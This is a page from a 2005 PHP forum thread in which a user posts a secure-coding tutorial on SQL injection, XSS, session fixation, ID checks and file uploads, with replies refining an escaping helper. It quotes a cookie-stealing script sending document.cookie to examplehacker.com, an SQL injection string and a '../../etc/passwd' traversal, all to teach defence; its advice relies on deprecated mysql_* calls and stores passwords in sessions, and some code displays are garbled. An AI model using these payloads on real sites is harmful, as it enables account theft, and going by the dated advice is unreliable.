Banner

Sponsor

Login


Welcome Back!
Guest
Guest

Register

Lost your password?

67 users online



Keeping Your Scripts Secure

Keeping Your Scripts Secure

Currently viewing this thread: 1 (0 members and 1 guests)


Page 1 out of 3
Rad

Rad

thinking of something witty to put here
Status: Offline!

Keeping Your Scripts Secure

I copied this from the other thread. I think it deserves its own post and hopefully a sticky since this kind of information is not well known among the PHP community :)

SQL Injection

SQL injection happens when you take a string from an unreliable source (think $_GET or $_POST) and put it directly into your query. A malicious user can insert his or her own SQL into yours and potentially display private data or simply erase it. An example:

PHP:

<?php

mysql_query
("select * from emails where owner_id = 123 and subject = '{$_POST['subject']}'");

?>


This is dangerous, because a malicious user could input the subject as "' or 1 --". The -- is a SQL comment, so everything after it will be ignored. This turns the query into

PHP:

<?php

mysql_query
("select * from emails where owner_id = 123 and subject = '' or 1 --");

?>


which means the user will be shown a list of all emails in the database.

Protecting against SQL injection is relatively easy. Never substitute anything into a query without escaping SQL metacharacters first. All this means is

PHP:

<?php

$_POST
['subject'] = mysql_real_escape_string($_POST['subject']);

?>


and you are secure. I like to have a shortcut method for this:

PHP:

<?php
function s() {
  
$values func_get_args();
  
$query array_shift($values);
  if (
$values) {
    
$query str_replace('?''%s'$query);
    
$values array_map('mysql_real_escape_string'$values);
    return 
vsprintf($query$values);
  } else {
    return 
$query;
  }
}

mysql_query(s("select * from emails where owner_id = 123 and subject = '?'"$_POST['subject']));

?>

Cross-Site Scripting (XSS)

Any site that displays data from an outside location without escaping it is vulnerable to an XSS attack. An typical XSS attack consists of a malicious user trying to steal another user's cookie, allowing them to login as that person. Here is an example of a script that might be used:

Code:

<script>document.location = 'http://examplehacker.com/capture/' + document.cookie</script>


If you are vulnerable, this can be injected into a comments script or shoutbox, and as soon as a user views that comment their cookie is logged by the hacker. If an administrator is affected by this, bad things will happen.

To secure your site from XSS, make sure you escape all data you display on your website. This is as simple as:

PHP:

<?php

// bad
echo $var;
// good
echo htmlspecialchars($var);

?>


I like to make a shortcut function for this too, because it is used so often:

PHP:

<?php

function h($string) {
  return 
htmlspecialchars($string);
}

echo 
h($var);

?>

Session Fixation

If a malicious user gets ahold of someone else's session ID, they can masquerade as that user.

One way to prevent this is to keep the IP address of the request that created the session. You can then destroy the session if the IP changes. However, this penalizes people who move their laptops across networks and home users whose PPPOE leases expire.

Another way is to generate a new session whenever a user logs in. For example:

PHP:

<?php

session_regenerate_id
();
$_SESSION['uid'] = $user_id;
$_SESSION['pass'] = $pass;

?>


Unfortunately this function is only available in PHP 4.3.2 and up. There is an attempt at emulating session_regenerate_id() for earlier versions of PHP in the comments of the documentation.

I recommend turning on session.use_only_cookies in your php.ini as it makes it a lot harder for session fixation to happen. The downside of this is that users that have cookies disabled will not be able to use sessions.

Don't Trust ID Parameters

You may have a query that looks like this:

PHP:

<?php

mysql_query
(s("select * from orders where id = ?"$_GET['id']));

?>


The problem with this is that there are no additional restraints on the query. A malicious user could manually enter order IDs and potentially view the orders of someone else. It's easy to prevent this:

PHP:

<?php

$query 
mysql_query(s("select * from orders where id = ? and user_id = ?"$_GET['id'], $_SESSION['user_id']));
if (
mysql_num_rows($query) === 0) {
  
header('Location: index.php');
  die();
}

?>


This way, we restrict orders to the current user. If there is no record found, we redirect back to the index page. The reason we don't say that it is someone else's order is because we would be giving out info that really isn't neccessary.

File Uploads

A lot of community oriented websites allow users to upload files for others to download. If you are not careful someone could use this feature to attack your site.

Someone could upload a file with a .php extension and execute a PHP script on your server. The server would be tempted to execute the file rather than send it to the browser for downloading. If you are only accepting certain types of files, rename the file on upload to make sure that it cannot be executed or otherwise maliciously used. Another solution when you are not filtering the file type is to keep all files outside of your webroot and use a script to download them.

Inside this download script, make sure you don't accept any funky filenames such as '../../etc/passwd'. The best way to avoid this is to just make a whitelist (^[a-zA-Z][\w\.]*$ is a good place to start). Making a blacklist is not as effective as there are potential ways to get around your validation that still mean something to the computer.

Also be sure that you don't display any HTML output directly without making sure that you protect yourself from XSS attacks.

Know That It Works

To make sure your code does what you want, you make tests. You should do the same when ensuring that your code is secure.

You can use the web tester in SimpleTest to simulate potential attacks. If you ever discover a new hole, write a test to ensure that once it is fixed, the hole can not reopen in the future.

Last edited by Rad, September 25th, 2005 01:48 AM (Edited 5 times)

mcdude

mcdude

Blah
Status: Offline!

Good stuff Rad, I will bookmark this.

BigToach

BigToach

Neversidian
Status: Offline!

im gonna rewrite the main tutorial and forum guide pretty soon. Ill make sure that I put this one in it.

___________________

Neverside Development Director
PHP Snippets
BigToach.com - IT WORKS, TOACHY!

johnzer

johnzer

Neverside Newbie
Status: Offline!

Nice tutorial Rad, I had a problem using the s() function. If I did not specify any arguments after the query then the query would not be passed, returning "Query was empty".

So I modified it a tiny bit, great function though!

PHP:

<?php
function s()
{
    if (
func_num_args() > 1)
    {
        
$args func_get_args();
        
$string str_replace('?''%s'array_shift($args));
        
$args array_map('mysql_real_escape_string'$args);
        
        return 
vsprintf($string$args);
    }
    return 
func_get_arg(0);
}
?>


Hope this helps anyone in the same situation.

NOTE: This happens to me because with every query I use it, through my DAO. Which inturn saves me from having to define it for each query.

Thanks, Rad.

Last edited by johnzer, August 25th, 2005 02:00 PM (Edited 2 times)

thefallen

thefallen

PHP Lurver.
Status: Offline!

Nice tutorial, just wondering if someone could explain each individual bit of that function and what it does :)

schoi

schoi

funny and cheeky
Status: Offline!

omg there are sooo many tutorials out there teaching u this insecure why of using mysql with php. Am guilty I do that as well because when I first learnt php I used a rubbish tutorial. GRRRR they shud get their stuff rite before teaching others!! Yeah rad I love your function!! At first I didn't see the point in it and how it worked. Defo good example how functions can help tidy up code!!

Last edited by schoi, August 25th, 2005 05:42 PM (Edited 2 times)

Rad

Rad

thinking of something witty to put here
Status: Offline!

Thank you Johnzer. I guess I need to test these little functions I write more extensively :)

Unfortunately I can't edit the post due to the 3hr limit... really annoying for these kind of posts.

Phil

Phil

with Mr. Jones
Status: Offline!
Originally posted by Rad:

Thank you Johnzer. I guess I need to test these little functions I write more extensively :)

Unfortunately I can't edit the post due to the 3hr limit... really annoying for these kind of posts.

edited

___________________

http://www.philbrodeur.com - Expert PHP Development and Tutorials

thefallen

thefallen

PHP Lurver.
Status: Offline!

Hey, phil when can we be expecting to see more of your SQL tutorial, some stuff in their which i want to learn :D

Last edited by thefallen, August 25th, 2005 08:04 PM (Edited 1 times)

johnzer

johnzer

Neverside Newbie
Status: Offline!

No problem, Rad.

Okey, here we go thefallen

PHP:

<?php
    
if (func_num_args() > 1)
    {
?>


This part checks to make sure there is more than one argument sent to the function and not just the query.

PHP:

<?php
         $args 
func_get_args();
?>


This puts all the arguments sent to the function into one query, for easier access.

PHP:

<?php
        $string 
str_replace('?''%s'array_shift($args));
?>


This replaces all the ? in the query and changes them into %s (it means the argument is treated as a string by the vsprintf() function), then array_shift() takes the first argument out of the array and removes it (the first one argument is the query).

PHP:

<?php
        $args 
array_map('mysql_real_escape_string'$args);
?>


This loops through the array and applies mysql_real_escape_string() to each argument.

PHP:

<?php
         
return vsprintf($string$args);
    }
?>


This returns it all together and replaces the %s in the query with the escaped arguments.

PHP:

<?php
     
return func_get_arg(0);
?>


If there is no more than one argument, then it just returns the query back (this prevents the "Query is empty" error from occuring, if only the query is specficed.

Hope this helps, I've tried to explain it as simply as I can :)

Last edited by johnzer, August 26th, 2005 12:09 AM (Edited 1 times)

Page 1 out of 3
Quick Jump:

Main Navigation


Site & Graphic Design by Aeon Tan
Developed by Jeremie Pelletier & Scott Roach


NeverAPI generated this page in 0.0105 seconds.